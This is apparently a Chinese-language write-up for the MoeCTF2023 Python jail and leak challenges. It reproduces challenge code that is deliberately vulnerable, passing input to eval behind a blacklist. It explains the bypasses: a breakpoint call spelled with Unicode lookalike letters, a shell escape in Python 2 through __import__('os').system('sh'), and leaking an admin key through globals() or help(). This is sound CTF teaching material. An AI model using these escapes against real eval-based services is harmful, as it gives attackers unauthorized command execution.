print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))
此题在level 1的基础上过滤了breakpoint关键字,本来还想利用level 2的payload的,发现题目环境发生了变化,无法通过os获得shell了,只能另想他法。经过大量资料翻阅,发现可以通过unicode绕过。
Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
https://blog.csdn.net/Jayjay___/article/details/132436072
下面是0-9,a-z的unicode字符
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡
下划线可以使用对应的全角字符进行替换。使用时注意第一个字符不能为全角,否则会报错。
故本题的payload为:b𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()。

Jail Level 4
连接上后的界面如下,此题变成了python2的环境。

先随便输入一点东西,看看反应,发现我们的输入还是用input函数接收的。

这里就涉及到python2的input函数和raw_input函数了:
- 在python 2中,
input函数从标准输入接收输入,并且自动eval求值,返回求出来的值;- 在python 2中,
raw_input函数从标准输入接收输入,返回输入字符串;- 在python 3中,
input函数从标准输入接收输入,返回输入字符串;- 可以认为,python 2
input()= python 2eval(raw_input())= python 3eval(input())
因此,如果碰到python2中间用了input函数,我们就可以直接一句话rce了:"__import__('os').system('sh')"

Leak Level 0
源代码如下。
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options:
| [V]uln
| [B]ackdoor")
def func_filter(s):
not_allowed = set('vvvveeee')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>9):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_valid_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
这个和Jail系列的很像,不过是需要先泄露一个东西之后才能进行rce。代码分析一下,发现当选择v选项的时候,里面会对用户的输入进行长度的判断和黑名单判断,但是当选择b选项的时候,只需要找到key就可以执行代码。故此题优先考虑找到key,可以看到代码一开头就把fake_key_into_local_but_valid_key_into_remote的值告诉我们了。

但是当我们提交的时候,却没有像如期的那样弹出"Hey Admin,please input your code:"这句话,说明我们的key找错了。看来v选项是有用的,可以帮助我们找到key。python的globals()函数可以获取全局变量,这里就利用该函数获取key。


找到key之后,再去尝试一下b选项,成功获得shell。

Leak Level 1
查看源码。
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
def func_filter(s):
not_allowed = set('moe_dbt')
return any(c in not_allowed for c in s)
print("| Options:
| [V]uln
| [B]ackdoor")
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
此题在level0的基础上又加了点限制,主要区别还是在v选项中,用户输入的数据长度不能大于6,对于输入的字符也有了更为严格的过滤,用户的输入不能包含m、o、e、_、d、b、t这几个字符,所以globals()函数就无法使用了。长度不能大于6,那只能用help()函数了,但是help函数中带有e字符,需要绕过,这里又可以利用unicode字符了。

成功进入help()交互界面,利用__main__查看全局变量。


拿到key之后,剩下的步骤就跟上题一样了。

Leak Level 2
先看源码。
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options:
| [V]uln
| [B]ackdoor")
def func_filter(s):
not_allowed = set('dbtaaaaaaaaa!')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
print("you need to ")
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
if not code.isascii():
print("please use ascii only thanks!")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor> ")
print(eval(code))
else:
print("You should select valid choice!")
此题又在上题的基础上做了更严格的过滤。主要区别还是在v选项中,首先用户输入的代码长度不能超过6,不能使用ascii之外的字符,不能含有d、b、t、a、!这五个字符。但是这题没有过滤help中的任何一个字符,比上题还要简单。

还是利用__main__来获取全局变量。

拿到key之后,剩下的步骤就一模一样了。

官方WriteUP:https://github.com/XDSEC/MoeCTF_2023
浙公网安备 33010602011771号